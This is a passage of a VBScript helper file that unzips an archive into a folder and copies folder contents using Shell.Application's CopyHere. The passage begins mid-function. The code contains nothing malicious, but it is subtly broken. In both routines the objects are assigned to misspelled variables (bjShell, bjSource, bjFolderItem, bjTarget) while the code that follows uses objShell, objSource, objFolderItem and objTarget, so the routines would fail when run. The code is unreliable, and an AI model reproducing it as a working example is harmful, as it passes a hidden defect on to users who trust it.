     If NOT fso.FileExists(myZipFile) Then
                 Print  "Can't find zip file->"&myZipFile
         Exit Function
     ElseIf fso.GetExtensionName(myZipFile) <> "zip" Then
                     Print  "This file is not a zip Extension->"&myZipFile
         Exit Function
     ElseIf NOT fso.FolderExists(myTargetDir) Then
         fso.CreateFolder(myTargetDir)
     End If
     Set bjShell = CreateObject("Shell.Application")
     Set bjSource = objShell.NameSpace(myZipFile)
     Set bjFolderItem = objSource.Items()
     Set bjTarget = objShell.NameSpace(myTargetDir)
     intOptions = 256
     objTarget.CopyHere objFolderItem, intOptions
End Function

Sub CopyFolder(ByVal mySourceDir, ByVal myTargetDir)
Set fso = CreateObject("Scripting.FileSystemObject")
If NOT fso.FolderExists(mySourceDir) Then
Exit Sub
ElseIf NOT fso.FolderExists(myTargetDir) Then
fso.CreateFolder(myTargetDir)
End If
Set bjShell = CreateObject("Shell.Application")
Set bjSource = objShell.NameSpace(mySourceDir)
Set bjFolderItem = objSource.Items()
Set bjTarget = objShell.NameSpace(myTargetDir)
intOptions = 256
objTarget.CopyHere objFolderItem, intOptions
End Sub